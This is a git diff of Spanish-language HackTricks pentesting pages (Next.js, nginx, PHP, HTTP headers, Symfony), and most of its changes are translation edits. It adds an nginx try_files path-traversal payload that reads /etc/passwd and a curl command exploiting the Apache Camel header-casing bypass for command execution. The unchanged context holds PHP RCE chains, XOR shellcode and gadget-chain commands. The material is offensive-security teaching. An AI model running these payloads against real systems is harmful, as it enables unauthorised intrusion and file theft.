export default HomePage ``` -### Funciones sin servidor (Rutas API) +### Serverless Functions (API Routes) -Next.js permite la creación de puntos finales de API como funciones sin servidor. Estas funciones se ejecutan bajo demanda sin necesidad de un servidor dedicado. +Next.js permite la creación de puntos finales de API como funciones sin servidor. Estas funciones se ejecutan bajo demanda sin la necesidad de un servidor dedicado. -**Casos de uso:** +**Casos de Uso:** - Manejo de envíos de formularios. - Interacción con bases de datos. @@ -451,9 +451,9 @@ Next.js permite la creación de puntos finales de API como funciones sin servido Con la introducción del directorio `app` en Next.js 13, el enrutamiento y el manejo de API se han vuelto más flexibles y potentes. Este enfoque moderno se alinea estrechamente con el sistema de enrutamiento basado en archivos, pero introduce capacidades mejoradas, incluyendo soporte para componentes de servidor y cliente. -#### Manejador de ruta básico +#### Basic Route Handler -**Estructura de archivos:** +**File Structure:** ```go my-nextjs-app/ ├── app/ @@ -487,7 +487,7 @@ body: JSON.stringify({ name: "John Doe" }), - **Ubicación:** Las rutas de la API se colocan en el directorio `app/api/`. - **Nomenclatura de Archivos:** Cada punto final de la API reside en su propia carpeta que contiene un archivo `route.js` o `route.ts`. -- **Funciones Exportadas:** En lugar de una única exportación predeterminada, se exportan funciones específicas de métodos HTTP (por ejemplo, `GET`, `POST`). +- **Funciones Exportadas:** En lugar de una única exportación por defecto, se exportan funciones específicas de métodos HTTP (por ejemplo, `GET`, `POST`). - **Manejo de Respuestas:** Utiliza el constructor `Response` para devolver respuestas, lo que permite un mayor control sobre los encabezados y códigos de estado. #### Cómo manejar otros caminos y métodos: @@ -590,7 +590,7 @@ headers: { "Content-Type": "application/json" }, ## Rutas API en el Directorio `pages` (Next.js 12 y versiones anteriores) -Antes de que Next.js 13 introdujera el directorio `app` y mejorara las capacidades de enrutamiento, las rutas API se definían principalmente dentro del directorio `pages`. Este enfoque todavía se utiliza y es compatible en Next.js 12 y versiones anteriores. +Antes de que Next.js 13 introdujera el directorio `app` y mejorara las capacidades de enrutamiento, las rutas API se definían principalmente dentro del directorio `pages`. Este enfoque todavía se utiliza ampliamente y es compatible en Next.js 12 y versiones anteriores. #### Ruta API Básica @@ -695,7 +695,7 @@ res.status(405).end(`Method ${method} Not Allowed`); - **Separación de Responsabilidades:** Separa claramente la lógica para diferentes métodos HTTP. - **Consistencia en las Respuestas:** Asegura estructuras de respuesta consistentes para facilitar el manejo del lado del cliente. -- **Manejo de Errores:** Maneja de manera elegante los métodos no soportados y los errores inesperados. +- **Manejo de Errores:** Maneja de manera adecuada los métodos no soportados y los errores inesperados.
@@ -717,7 +717,7 @@ headers: { }) } ``` -Tenga en cuenta que **CORS también se puede configurar en todas las rutas de la API** dentro del **`middleware.ts`** archivo: +Tenga en cuenta que **CORS también se puede configurar en todas las rutas de la API** dentro del archivo **`middleware.ts`**: ```javascript // app/middleware.ts @@ -775,7 +775,7 @@ Los atacantes pueden crear sitios web maliciosos que hagan solicitudes a tu API, ../../pentesting-web/cors-bypass.md {{#endref}} -### Exposición del código del servidor en el lado del cliente +### Exposición de código del servidor en el lado del cliente Es fácil **usar código utilizado por el servidor también en el código expuesto y utilizado por el lado del cliente**, la mejor manera de asegurar que un archivo de código nunca se exponga en el lado del cliente es utilizando esta importación al principio del archivo: ```js @@ -795,7 +795,7 @@ import "server-only" 2. **Procesamiento:** Realiza operaciones basadas en la solicitud (por ejemplo, verificar autenticación). 3. **Modificación de Respuesta:** Puede alterar la respuesta o pasar el control al siguiente manejador. -**Casos de Uso de Ejemplo:** +**Casos de Uso Ejemplares:** - Redirigir a usuarios no autenticados. - Agregar encabezados personalizados. @@ -886,7 +886,7 @@ value: "no-referrer", // Completely hides referrer Next.js optimiza las imágenes para el rendimiento, pero las configuraciones incorrectas pueden llevar a vulnerabilidades de seguridad, como permitir que fuentes no confiables inyecten contenido malicioso. -**Ejemplo de Mala Configuración:** +**Ejemplo de Configuración Incorrecta:** ```javascript // next.config.js @@ -903,7 +903,7 @@ domains: ["*"], // Allows images from any domain **Cómo los atacantes lo abusan:** -Al inyectar imágenes de fuentes maliciosas, los atacantes pueden realizar ataques de phishing, mostrar información engañosa o explotar vulnerabilidades en bibliotecas de renderizado de imágenes. +Al inyectar imágenes de fuentes maliciosas, los atacantes pueden realizar ataques de phishing, mostrar información engañosa o explotar vulnerabilidades en las bibliotecas de renderizado de imágenes.
@@ -911,7 +911,7 @@ Al inyectar imágenes de fuentes maliciosas, los atacantes pueden realizar ataqu Exposición de Variables de Entorno -Gestiona información sensible como claves API y credenciales de base de datos de manera segura sin exponerlas al cliente. +Gestiona información sensible como claves de API y credenciales de bases de datos de manera segura sin exponerlas al cliente. #### a. Exposición de Variables Sensibles @@ -940,7 +940,7 @@ Si las variables sensibles se exponen al cliente, los atacantes pueden recuperar Redirecciones -Administra las redirecciones y reescrituras de URL dentro de tu aplicación, asegurando que los usuarios sean dirigidos adecuadamente sin introducir vulnerabilidades de redirección abierta. +Administra las redirecciones y reescrituras de URL dentro de tu aplicación, asegurando que los usuarios sean dirigidos apropiadamente sin introducir vulnerabilidades de redirección abierta. #### a. Vulnerabilidad de Redirección Abierta @@ -983,7 +983,7 @@ Personaliza las configuraciones de Webpack para tu aplicación Next.js, que pued #### a. Exponiendo Módulos Sensibles -**Ejemplo de Mala Configuración:** +**Ejemplo de Configuración Incorrecta:** ```javascript // next.config.js @@ -1003,7 +1003,7 @@ return config **Cómo los atacantes lo abusan:** -Los atacantes pueden acceder o reconstruir la estructura de directorios de la aplicación, potencialmente encontrando y explotando archivos o datos sensibles. +Los atacantes pueden acceder o reconstruir la estructura de directorios de la aplicación, encontrando y explotando potencialmente archivos o datos sensibles. @@ -1011,7 +1011,7 @@ Los atacantes pueden acceder o reconstruir la estructura de directorios de la ap #### **`pages/_app.js`** -**Propósito:** Sobrescribe el componente App predeterminado, permitiendo estado global, estilos y componentes de diseño. +**Propósito:** Sobrescribe el componente App predeterminado, permitiendo el estado global, estilos y componentes de diseño. **Casos de Uso:** @@ -1063,7 +1063,7 @@ export default MyDocument ``` ### Servidor Personalizado (Opcional) -**Propósito:** Aunque Next.js viene con un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integración con servicios backend existentes. +**Propósito:** Mientras que Next.js viene con un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integración con servicios backend existentes. **Nota:** Usar un servidor personalizado puede limitar las opciones de implementación, especialmente en plataformas como Vercel que optimizan para el servidor integrado de Next.js. @@ -1120,7 +1120,7 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client }, } ``` -**Nota:** Para restringir las variables solo al lado del servidor, omítalas del objeto `env` o prefíjalas con `NEXT_PUBLIC_` para la exposición del cliente. +**Nota:** Para restringir las variables solo al lado del servidor, omítalas del objeto `env` o prefíjalas con `NEXT_PUBLIC_` para la exposición en el cliente. ### Autenticación y Autorización @@ -1171,7 +1171,7 @@ res.status(401).json({ error: "Invalid credentials" }) - **Optimización de Imágenes:** Usa el componente `next/image` de Next.js para la optimización automática de imágenes. - **División de Código:** Aprovecha las importaciones dinámicas para dividir el código y reducir los tiempos de carga iniciales. -- **Caché:** Implementa estrategias de caché para las respuestas de la API y los activos estáticos. +- **Caché:** Implementa estrategias de caché para las respuestas de API y activos estáticos. - **Carga Perezosa:** Carga componentes o activos solo cuando sean necesarios. **Ejemplo:** diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index b152f1446..cf4dedaf7 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Missing root location +## Ubicación raíz faltante Al configurar el servidor Nginx, la **directiva root** juega un papel crítico al definir el directorio base desde el cual se sirven los archivos. Considere el siguiente ejemplo: ```bash @@ -48,7 +48,7 @@ alias../ => HTTP status code 403 ``` ## Restricción de ruta insegura -Check the following page to learn how to bypass directives like: +Consulta la siguiente página para aprender cómo eludir directivas como: ```plaintext location = /admin { deny all; @@ -91,7 +91,7 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` -Aprende más sobre los riesgos de la inyección CRLF y el splitting de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). +Aprende más sobre los riesgos de la inyección CRLF y la división de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). También esta técnica está [**explicada en esta charla**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) con algunos ejemplos vulnerables y mecanismos de detección. Por ejemplo, para detectar esta mala configuración desde una perspectiva de caja negra, podrías hacer estas solicitudes: @@ -135,11 +135,61 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar ``` Los escaneos de esta mala configuración en los sistemas revelaron múltiples instancias donde las variables de Nginx podían ser impresas por un usuario. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para corregir este problema han tenido cierto éxito. +### Usando try_files con las variables $URI$ARGS + +La siguiente mala configuración de Nginx puede llevar a una vulnerabilidad LFI: +``` +location / { +try_files $uri$args $uri$args/ /index.html; +} +``` +En nuestra configuración, tenemos la directiva `try_files` que se utiliza para verificar la existencia de archivos en el orden especificado. Nginx servirá el primero que encuentre. La sintaxis básica de la directiva `try_files` es la siguiente: +``` +try_files file1 file2 ... fileN fallback; +``` +Nginx verificará la existencia de cada archivo en el orden especificado. Si un archivo existe, se servirá de inmediato. Si ninguno de los archivos especificados existe, la solicitud se pasará a la opción de respaldo, que puede ser otra URI o una página de error específica. + +Sin embargo, al usar las variables `$uri$args` en esta directiva, Nginx intentará buscar un archivo que coincida con la URI de la solicitud combinada con cualquier argumento de cadena de consulta. Por lo tanto, podemos explotar esta configuración: +``` +http { +server { +root /var/www/html/public; + +location / { +try_files $uri$args $uri$args/ /index.html; +} +} +} +``` +Con la siguiente carga útil: +``` +GET /?../../../../../../../../etc/passwd HTTP/1.1 +Host: example.com +``` +Usando nuestra carga útil, escaparemos del directorio raíz (definido en la configuración de Nginx) y cargaremos el archivo `/etc/passwd`. En los registros de depuración, podemos observar cómo Nginx intenta los archivos: +``` +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd" +2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd" + +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd" + +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK + +``` +PoC contra Nginx usando la configuración mencionada arriba: +![Example burp request](../../images/nginx_try_files.png) + ## Lectura de la respuesta cruda del backend -Nginx ofrece una característica a través de `proxy_pass` que permite la interceptación de errores y encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error internos y encabezados. Esto se logra mediante Nginx sirviendo páginas de error personalizadas en respuesta a errores del backend. Sin embargo, surgen desafíos cuando Nginx encuentra una solicitud HTTP no válida. Tal solicitud se reenvía al backend tal como se recibe, y la respuesta cruda del backend se envía directamente al cliente sin la intervención de Nginx. +Nginx ofrece una característica a través de `proxy_pass` que permite la interceptación de errores y encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error internos y encabezados. Esto se logra mediante la entrega de páginas de error personalizadas por parte de Nginx en respuesta a errores del backend. Sin embargo, surgen desafíos cuando Nginx encuentra una solicitud HTTP inválida. Tal solicitud se reenvía al backend tal como se recibe, y la respuesta cruda del backend se envía directamente al cliente sin la intervención de Nginx. -Considere un escenario de ejemplo que involucra una aplicación uWSGI: +Considera un escenario de ejemplo que involucra una aplicación uWSGI: ```python def application(environ, start_response): start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) @@ -160,9 +210,9 @@ Cuando se realiza una solicitud `GET` válida, Nginx la procesa normalmente, dev ## merge_slashes configurado en off -Por defecto, la **directiva `merge_slashes` de Nginx** está configurada en **`on`**, lo que comprime múltiples barras diagonales en una URL en una sola barra. Esta característica, aunque agiliza el procesamiento de URL, puede ocultar inadvertidamente vulnerabilidades en aplicaciones detrás de Nginx, particularmente aquellas propensas a ataques de inclusión de archivos locales (LFI). Los expertos en seguridad **Danny Robinson y Rotem Bar** han destacado los riesgos potenciales asociados con este comportamiento predeterminado, especialmente cuando Nginx actúa como un reverse-proxy. +Por defecto, la **directiva `merge_slashes` de Nginx** está configurada en **`on`**, lo que comprime múltiples barras diagonales en una URL en una sola barra. Esta característica, aunque agiliza el procesamiento de URL, puede ocultar inadvertidamente vulnerabilidades en aplicaciones detrás de Nginx, particularmente aquellas propensas a ataques de inclusión de archivos locales (LFI). Los expertos en seguridad **Danny Robinson y Rotem Bar** han destacado los riesgos potenciales asociados con este comportamiento predeterminado, especialmente cuando Nginx actúa como un proxy inverso. -Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slashes`** para aplicaciones susceptibles a estas vulnerabilidades. Esto asegura que Nginx reenvíe solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar cualquier problema de seguridad subyacente. +Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slashes`** para aplicaciones susceptibles a estas vulnerabilidades. Esto asegura que Nginx reenvíe solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar problemas de seguridad subyacentes. Para más información, consulta a [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 248f5ba46..b6f744fc0 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -98,7 +98,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https #### **Bypass de error de longitud** (Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\ -Si puedes enviar a `preg_match()` una **entrada válida muy grande**, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar: +Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -147,6 +147,7 @@ readfile($page); Check: + {{#ref}} ../../../pentesting-web/file-inclusion/ {{#endref}} @@ -154,10 +155,10 @@ Check: ## More tricks - **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código. -- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** configurando el valor de la cookie de la otra ruta.\ +- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** configurando el valor de la cookie de la otra ruta.\ De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2). - Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\** para ver si los directorios php están activados. -- Si una configuración php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- Si una configuración de php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -185,8 +186,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Llenando un cuerpo antes de establecer encabezados -Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor arroje un error.\ -En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario): +Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\ +En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario): ![](<../../../images/image (1085).png>) @@ -258,7 +259,7 @@ function foo($x,$y){ usort();}phpinfo;#, "cmp"); }?> ``` -Puedes también usar **//** para comentar el resto del código. +Puedes usar también **//** para comentar el resto del código. Para descubrir el número de paréntesis que necesitas cerrar: @@ -276,13 +277,13 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez esto se pueda eludir), podrías abusar de este comportamiento para obtener **RCE**. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione). +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar). - **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para apuntar a él. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el runtime de PHP antes de cualquier otro código. -1. Sube un archivo PHP que contenga nuestro shellcode. -2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1. +1. Sube un archivo PHP que contenga nuestro shellcode +2. Sube un segundo archivo, que contenga una directiva **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1 3. Establece la variable `PHPRC` al archivo que subimos en el paso 2. - Obtén más información sobre cómo ejecutar esta cadena [**del informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). -- **PHPRC** - otra opción. +- **PHPRC** - otra opción - Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - O para obtener RCE, habilita **`allow_url_include`** y prepende un archivo con **código PHP en base64**: @@ -331,7 +332,7 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código php.** -## Envolturas y protocolos de PHP +## Envolturas y Protocolos de PHP Las envolturas y protocolos de PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). @@ -351,9 +352,9 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE abusando de nuevo $\_GET\["a"]\($\_GET\["b") +## RCE abusando de $\_GET\["a"]\($\_GET\["b"]) -Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo: +Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, podrías obtener RCE, consulta la siguiente página para aprender cómo: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -376,7 +377,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### Código de shell fácil XOR -Según [**este informe**](https://mgp25.com/ctf/Web-challenge/) es posible generar un shellcode fácil de esta manera: +Según [**este informe**](https://mgp25.com/ctf/Web-challenge/) es posible generar un código de shell fácil de esta manera: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/python.md b/src/network-services-pentesting/pentesting-web/python.md index 4dd7401d8..3a4a1ab1e 100644 --- a/src/network-services-pentesting/pentesting-web/python.md +++ b/src/network-services-pentesting/pentesting-web/python.md @@ -8,16 +8,19 @@ prueba una posible **code execution**, usando la función _str()_: ```python "+str(True)+" #If the string True is printed, then it is vulnerable ``` -### Tricks +### Trucos + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md {{#endref}} + {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}} + {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 4f8c4812b..ca99abb76 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -93,7 +93,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi - **`Content-Length`:** El tamaño del recurso, en número decimal de bytes. - **`Content-Type`**: Indica el tipo de medio del recurso - **`Content-Encoding`**: Se utiliza para especificar el algoritmo de compresión. -- **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, para que permita a un usuario diferenciar según el idioma preferido del usuario. +- **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, de modo que permite a un usuario diferenciar según el idioma preferido del usuario. - **`Content-Location`**: Indica una ubicación alternativa para los datos devueltos. Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **info**, esto podría ser **interesante.**\ @@ -129,7 +129,7 @@ Esto significa que el archivo llamado "filename.jpg" está destinado a ser desca ### **Tipos de Confianza** -Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente elaborados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto. +Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente diseñados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -179,8 +179,43 @@ Por último, HSTS es una característica de seguridad que obliga a los navegador ``` Strict-Transport-Security: max-age=3153600 ``` +## Header Name Casing Bypass + +HTTP/1.1 define los nombres de los campos de encabezado como **insensibles a mayúsculas y minúsculas** (RFC 9110 §5.1). Sin embargo, es muy común encontrar middleware personalizado, filtros de seguridad o lógica de negocio que comparan el nombre de encabezado *literal* recibido sin normalizar primero la capitalización (por ejemplo, `header.equals("CamelExecCommandExecutable")`). Si esas verificaciones se realizan **sensible a mayúsculas y minúsculas**, un atacante puede eludirlas simplemente enviando el mismo encabezado con una capitalización diferente. + +Situaciones típicas donde aparece este error: + +* Listas personalizadas de permitir/denegar que intentan bloquear encabezados internos "peligrosos" antes de que la solicitud llegue a un componente sensible. +* Implementaciones internas de pseudo-encabezados de proxy inverso (por ejemplo, sanitización de `X-Forwarded-For`). +* Frameworks que exponen puntos finales de gestión / depuración y dependen de los nombres de encabezados para la autenticación o selección de comandos. + +### Abusing the bypass + +1. Identificar un encabezado que sea filtrado o validado del lado del servidor (por ejemplo, leyendo el código fuente, la documentación o los mensajes de error). +2. Enviar el **mismo encabezado con una capitalización diferente** (mixta o en mayúsculas). Debido a que las pilas HTTP generalmente canonizan los encabezados solo *después* de que se ha ejecutado el código del usuario, se puede omitir la verificación vulnerable. +3. Si el componente de downstream trata los encabezados de manera insensible a mayúsculas y minúsculas (la mayoría lo hace), aceptará el valor controlado por el atacante. + +### Example: Apache Camel `exec` RCE (CVE-2025-27636) + +En versiones vulnerables de Apache Camel, las rutas del *Command Center* intentan bloquear solicitudes no confiables eliminando los encabezados `CamelExecCommandExecutable` y `CamelExecCommandArgs`. La comparación se realizó con `equals()`, por lo que solo se eliminaron los nombres exactos en minúsculas. +```bash +# Bypass the filter by using mixed-case header names and execute `ls /` on the host +curl "http:///command-center" \ +-H "CAmelExecCommandExecutable: ls" \ +-H "CAmelExecCommandArgs: /" +``` +Los encabezados llegan al componente `exec` sin filtrar, lo que resulta en la ejecución remota de comandos con los privilegios del proceso Camel. + +### Detección y Mitigación + +* Normaliza todos los nombres de encabezados a un solo caso (generalmente en minúsculas) **antes** de realizar comparaciones de permitir/negar. +* Rechaza duplicados sospechosos: si están presentes tanto `Header:` como `HeAdEr:`, trátalo como una anomalía. +* Utiliza una lista de permitidos positiva aplicada **después** de la canonicalización. +* Protege los puntos finales de gestión con autenticación y segmentación de red. + ## Referencias +- [CVE-2025-27636 – RCE en Apache Camel a través de eludir el caso de encabezado (blog de OffSec)](https://www.offsec.com/blog/cve-2025-27636/) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) - [https://web.dev/security-headers/](https://web.dev/security-headers/) diff --git a/src/network-services-pentesting/pentesting-web/symphony.md b/src/network-services-pentesting/pentesting-web/symphony.md index 967761fc8..98916fcaa 100644 --- a/src/network-services-pentesting/pentesting-web/symphony.md +++ b/src/network-services-pentesting/pentesting-web/symphony.md @@ -17,11 +17,11 @@ Symfony es uno de los frameworks PHP más utilizados y aparece regularmente en e curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version' ``` * Rutas públicas que solo existen en Symfony: -* `/_profiler` (Symfony **Profiler** y barra de herramientas de depuración) +* `/_profiler` (Symfony **Profiler** & barra de herramientas de depuración) * `/_wdt/` (“Web Debug Toolbar”) * `/_error/{code}.{_format}` (páginas de error bonitas) * `/app_dev.php`, `/config.php`, `/config_dev.php` (controladores frontales de desarrollo anteriores a 4.0) -* Wappalyzer, BuiltWith o listas de palabras ffuf/feroxbuster: `symfony.txt` → busca `/_fragment`, `/_profiler`, `.env`, `.htaccess`. +* Wappalyzer, BuiltWith o listas de palabras de ffuf/feroxbuster: `symfony.txt` → busca `/_fragment`, `/_profiler`, `.env`, `.htaccess`. ### Archivos y puntos finales interesantes | Ruta | Por qué es importante | @@ -32,7 +32,7 @@ curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|t | `/_profiler` | Historial completo de solicitudes, configuración, contenedor de servicios, **APP_SECRET** (≤ 3.4) | | `/_fragment` | Punto de entrada utilizado por ESI/HInclude. Abuso posible una vez que conoces `APP_SECRET` | | `/vendor/phpunit/phpunit/phpunit` | RCE de PHPUnit si es accesible (CVE-2017-9841) | -| `/index.php/_error/{code}` | Finger-print y a veces filtra trazas de excepciones | +| `/index.php/_error/{code}` | Finger-print & a veces filtra trazas de excepciones | --- @@ -73,6 +73,7 @@ print(r.text) ### 5. Cadenas de gadgets de Symfony 1 (aún encontradas en aplicaciones heredadas) * `phpggc symfony/1 system id` produce una carga útil Phar que desencadena RCE cuando ocurre un unserialize() en clases como 